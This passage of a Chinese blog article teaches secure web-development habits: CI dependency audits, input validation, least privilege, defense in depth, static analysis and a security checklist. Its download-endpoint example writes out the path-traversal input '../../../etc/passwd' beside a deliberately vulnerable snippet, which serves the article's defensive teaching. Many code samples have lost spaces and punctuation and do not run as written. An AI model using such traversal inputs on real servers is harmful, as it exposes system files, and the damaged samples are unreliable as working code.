    runs-on:ubuntu-latest
    steps:
      -uses:actions/checkout@v2
      -uses:actions/setup-node@v2
      -run:npmci
      -run:npmaudit--audit-level=high# 有高危漏洞就失败
      -run:npmruntest# 顺便跑测试

这样每次提交代码,都会自动检查依赖安全。

终极防御:Security-by-Default思维模式

技术手段都讲完了,最后讲讲思维方式

安全不是一份待办清单,而是一种写代码的本能

三个关键问题

每次写代码前,问自己:

1. 这个数据能被用户控制吗?

// 假设你在写一个文件下载接口
app.get('/download', (req, res) => {
const filename = req.query.file;

// ❌ 危险!用户可以输入 ../../../etc/passwd
  res.download(`./uploads/${filename}`);

// ✅ 安全:验证文件名
const safeFilename = path.basename(filename); // 去掉路径
if (!safeFilename.match(/^[a-zA-Z0-9_.-]+$/)) {
    return res.status(400).send('非法文件名');
  }
  res.download(`./uploads/${safeFilename}`);
});

2. 这段数据会暴露在哪里?

// 用户信息接口
app.get('/api/user/:id'async (req, res) => {
const user = await db.users.findById(req.params.id);

// ❌ 危险!把所有字段都返回了
  res.json(user); // { id, email, password, admin_flag, ... }

// ✅ 安全:只返回必要的
  res.json({
    id: user.id,
    username: user.username,
    avatar: user.avatar
    // 密码、权限标识等敏感字段不返回
  });
});

3. 如果我是黑客,我会怎么攻击?

这个思维很重要。写完代码后,换个角度思考:

  • 如果输入10万个字符会怎样?(DoS攻击)
  • 如果并发1000个请求会怎样?(竞态条件)
  • 如果输入负数会怎样?(逻辑漏洞)
  • 如果请求头是假的会怎样?(身份伪造)

纵深防御(Defense in Depth)

不要只依赖一层保护,而是多层防御

┌────────────────────────────────┐
│ 第1层:前端验证(用户体验)      │
│ - 快速反馈                      │
│ - 不能作为安全保障              │
└────────┬───────────────────────┘
         │
         ▼
┌────────────────────────────────┐
│ 第2层:API网关(速率限制)       │
│ - 防止暴力破解                  │
│ - 防止DDoS                      │
└────────┬───────────────────────┘
         │
         ▼
┌────────────────────────────────┐
│ 第3层:后端验证(核心)          │
│ - Schema验证                    │
│ - 业务逻辑检查                  │
└────────┬───────────────────────┘
         │
         ▼
┌────────────────────────────────┐
│ 第4层:数据库约束(最后防线)    │
│ - 唯一索引                      │
│ - 外键约束                      │
│ - 字段类型限制                  │
└────────────────────────────────┘

即使某一层被突破,后面还有防护。

最小权限原则

代码层面

// ❌ 给应用赋予所有数据库权限
const db = new Database({ user'root'password'xxx' });

// ✅ 创建专用数据库用户,只给必要权限
// 创建用户(在数据库里执行)
CREATE USER 'app_user'@'localhost' IDENTIFIED BY 'xxx';
GRANT SELECT, INSERT, UPDATE ON myapp.* TO 'app_user'@'localhost';
-- 不给DELETE权限,防止误删数据

系统层面

# Docker容器不要用root运行
FROMnode:18
USERnode# 用普通用户
WORKDIR/app
COPY..
RUNnpmci
CMD["node","server.js"]

API设计

// JWT里只包含必要信息
const token = jwt.sign(
  { 
    userId: user.id,
    role: user.role // 只存角色,不存所有权限
  },
  SECRET,
  { expiresIn'15m' }
);

// 权限检查在服务端做
app.delete('/api/post/:id'async (req, res) => {
const post = await db.posts.findById(req.params.id);

// ✅ 不信任JWT里的role,重新查数据库
const user = await db.users.findById(req.user.userId);

if (post.authorId !== user.id && user.role !== 'admin') {
    return res.status(403).json({ error'无权限' });
  }

await post.delete();
  res.json({ successtrue });
});

自动化审计

别指望人工Code Review能发现所有问题,用工具辅助:

# 安装ESLint安全插件
npm install eslint-plugin-security --save-dev

# .eslintrc.js
module.exports = {
  plugins: ['security'],
  extends: ['plugin:security/recommended'],
  rules: {
    'security/detect-object-injection''error',
    'security/detect-non-literal-regexp''error',
    'security/detect-unsafe-regex''error',
  }
};

# 现在ESLint会警告你潜在的安全问题

用Semgrep做静态代码分析:

# 安装
pip install semgrep

# 扫描
semgrep --config=auto .

# 会发现SQL注入、命令注入等问题

总结:安全是习惯,不是技术

这7个错误本质上都源于一个问题:没把安全当回事

不是你不懂技术,而是你觉得"应该不会有事"。

但在互联网上,只要有漏洞,就一定会被利用

快速检查清单(收藏版)

输入处理

  • [ ] 所有用户输入都用Schema验证(Joi/Zod)
  • [ ] 数据库查询用参数化/ORM
  • [ ] 富文本用DOMPurify净化
  • [ ] API拒绝白名单外的字段

密钥管理

  • [ ] 所有密钥放在环境变量
  • [ ] .env加入.gitignore
  • [ ] 生产用Secret Manager
  • [ ] 每季度轮换密钥

身份认证

  • [ ] 密码用bcrypt/Argon2加密
  • [ ] Cookie设置HttpOnly + Secure + SameSite
  • [ ] Token有过期时间(15分钟Access + 7天Refresh)
  • [ ] 登出时清除Session

输出编码

  • [ ] 默认不用innerHTML/dangerouslySetInnerHTML
  • [ ] 必须用时先DOMPurify净化
  • [ ] 设置CSP响应头

错误处理

  • [ ] 生产环境返回通用错误
  • [ ] 详细错误只记录到日志
  • [ ] 日志里脱敏敏感字段
  • [ ] 监控错误率,设置告警

HTTPS

  • [ ] 所有环境用HTTPS(含开发/测试)
  • [ ] 设置HSTS响应头
  • [ ] HTTP自动跳转HTTPS
  • [ ] 不加载混合内容

依赖更新

  • [ ] 每周运行npm audit
  • [ ] 开启GitHub Dependabot
  • [ ] CI里集成安全扫描
  • [ ] Patch版本立即更新

从现在开始

不要等到出事了再重视安全。

今天就做三件事:

  1. 跑一遍npm audit,看看你的项目有多少漏洞
  2. 检查.env文件有没有被提交到Git
  3. 给你的网站加上HTTPS

安全防护就像买保险,没出事的时候觉得浪费钱,出事了就后悔莫及

但和保险不同的是,代码安全的成本其实很低,只要养成习惯就行。

好的工程师写代码能跑。
优秀的工程师写代码安全。


阅读原文:原文链接


该文章在 2025/12/23 10:20:54 编辑过
关键字查询
相关文章
正在查询...
点晴ERP是一款针对中小制造业的专业生产管理软件系统,系统成熟度和易用性得到了国内大量中小企业的青睐。
点晴PMS码头管理系统主要针对港口码头集装箱与散货日常运作、调度、堆场、车队、财务费用、相关报表等业务管理,结合码头的业务特点,围绕调度、堆场作业而开发的。集技术的先进性、管理的有效性于一体,是物流码头及其他港口类企业的高效ERP管理信息系统。
点晴WMS仓储管理系统提供了货物产品管理,销售管理,采购管理,仓储管理,仓库管理,保质期管理,货位管理,库位管理,生产管理,WMS管理系统,标签打印,条形码,二维码管理,批号管理软件。
点晴免费OA是一款软件和通用服务都免费,不限功能、不限时间、不限用户的免费OA协同办公管理系统。
Copyright 2010-2026 ClickSun All Rights Reserved